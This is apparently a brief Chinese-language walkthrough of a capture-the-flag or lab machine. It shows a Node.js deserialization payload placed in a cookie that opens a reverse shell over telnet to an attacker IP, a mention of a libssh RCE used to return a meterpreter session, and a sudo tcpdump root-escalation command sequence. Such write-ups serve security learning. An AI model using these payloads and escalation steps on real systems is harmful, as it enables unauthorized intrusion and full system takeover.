只开了22和666 666上是一个nodejs的web
抓包 cookies有个base64串 直接刷新会报错 看到serialize
把之前那个串base64解密
注意到这个json是错的
把后面那个expires改好,直接上反序列化payload
{"username":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.20.146 4442 >/tmp/f\")}()","csrftoken":"test","Expires":"Friday, 13 Oct 2018 00:00:00 GMT"}
拿到shell
用户是nodeadmin
提权
有个fireman用户
看进程
开了一个sha和d0w谐s0cks
发现这个libss有个rce
直接拿目标上的nc连
写个meterpreter然后弹回来
拿到fireman
sudo -l
发现tcpdump
查查gtfobins
命令执行即可
COMMAND='弹回meterpreter'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
记得加后面-Z root
,gtfo上没有
用远端shell ping一下localhost
tcpdump结束后就会以root身份运行COMMAND
拿到root